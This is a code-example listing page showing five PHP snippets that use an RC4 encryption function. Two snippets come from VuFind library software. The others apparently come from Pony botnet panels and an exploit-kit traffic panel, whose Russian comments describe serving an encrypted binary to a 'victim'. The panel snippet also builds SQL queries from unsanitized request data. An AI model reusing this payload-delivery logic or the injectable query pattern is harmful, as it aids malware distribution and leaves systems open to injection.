コード例 #1
0
ファイル: Home.php プロジェクト: victorfcm/VuFind-Plus
 function Login()
 {
     global $configArray;
     // Fetch Salt
     $salt = $this->generateSalt();
     // HexDecode Password
     $password = pack('H*', $_GET['password']);
     // Decrypt Password
     /*
     require_once 'Crypt/Blowfish.php';
     $cipher = new Crypt_Blowfish($salt);
     $password = $cipher->decrypt($_GET['password']);
     */
     /*
     require_once 'Crypt/XXTEA.php';
     $cipher = new Crypt_XXTEA();
     $cipher->setKey($salt);
     $password = $cipher->decrypt($password);
     */
     require_once 'Crypt/rc4.php';
     $password = rc4Encrypt($salt, $password);
     // Put the username/password in POST fields where the authentication module
     // expects to find them:
     $_POST['username'] = $_GET['username'];
     $_POST['password'] = $password;
     // Authenticate the user:
     $user = UserAccount::login();
     if (PEAR_Singleton::isError($user)) {
         return 'Error';
     } else {
         return 'True';
     }
 }
コード例 #2
0
    // смотрим совпадающий хеш
    $q = "SELECT * FROM `traff` WHERE `hash` = '" . $resData['hash'] . "';";
    $res = cdim('db', 'query', $q);
    if (!isset($res[0])) {
        // хеша нет, просто пишем
        $q = "INSERT INTO `traff` VALUES (NULL, '" . $fillData['ip'] . "', '" . $fillData['os'] . "', '" . $fillData['br'] . "', '" . $fillData['cc'] . "', '" . $fillData['ua'] . "', '" . $fillData['referer'] . "', '" . $fillData['exp'] . "', " . $fillData['user_id'] . ", " . $fillData['flow_id'] . ", '" . $fillData['hash'] . "');";
        cdim('db', 'query', $q);
        exit;
    } elseif (isset($res[0]) && $resData['exp'] != '') {
        // хеш есть и жертва просит бин, обновляем и отдаем файл
        $q = "UPDATE `traff` SET `exp` = '" . $fillData['exp'] . "' WHERE `hash` = '" . $fillData['hash'] . "';";
        cdim('db', 'query', $q);
        $file = cdim('db', 'query', "SELECT * FROM `files` WHERE `id` = " . $userData->file_id . ";");
        if (!isset($file[0])) {
            exit(',');
        }
        echo rc4Encrypt($config['options']['fileKey'], $file[0]->file);
        //file_put_contents('bbb.bbb', 'exp='.$fillData['exp'].'; hash='.$fillData['hash'].'; filekey='.$config['options']['fileKey']."\r\n", FILE_APPEND);
        exit;
    }
} elseif (isset($_POST['hash'])) {
    // отключили в core.php это уже не нужно все
    if (!preg_match("/a-f0-9/i", $_POST['hash'])) {
        exit('false');
    }
    $q = "SELECT * FROM `traff` WHERE `hash` = '" . $_POST['hash'] . "';";
    $res = cdim('db', 'query', $q);
    if (!isset($res[0])) {
        exit('true');
    }
}
コード例 #3
0
ファイル: misc.php プロジェクト: captincook/Pony
function rc4_rand_crypt($data)
{
    $rc4_key = chr(rand(255)) . chr(rand(255)) . chr(rand(255)) . chr(rand(255));
    return $rc4_key . rc4Encrypt($rc4_key, $data);
}
コード例 #4
0
ファイル: RC4.php プロジェクト: no-reply/cbpl-vufind
 /**
  * Encrypt given plain text using the key with RC4 algorithm.
  * All parameters and return value are in binary format.
  *
  * @param string $key secret key for encryption
  * @param string $pt  plain text to be encrypted
  *
  * @return string
  */
 public static function encrypt($key, $pt)
 {
     return \rc4Encrypt($key, $pt);
 }
コード例 #5
0
ファイル: misc.php プロジェクト: sh1nu11bi/PonyBotnet_panel
/**
 * Decrypt given cipher text using the key with RC4 algorithm.
 * All parameters and return value are in binary format.
 *
 * @param string key - secret key for decryption
 * @param string ct - cipher text to be decrypted
 * @return string
 */
function rc4Decrypt($key, $ct)
{
    return rc4Encrypt($key, $ct);
}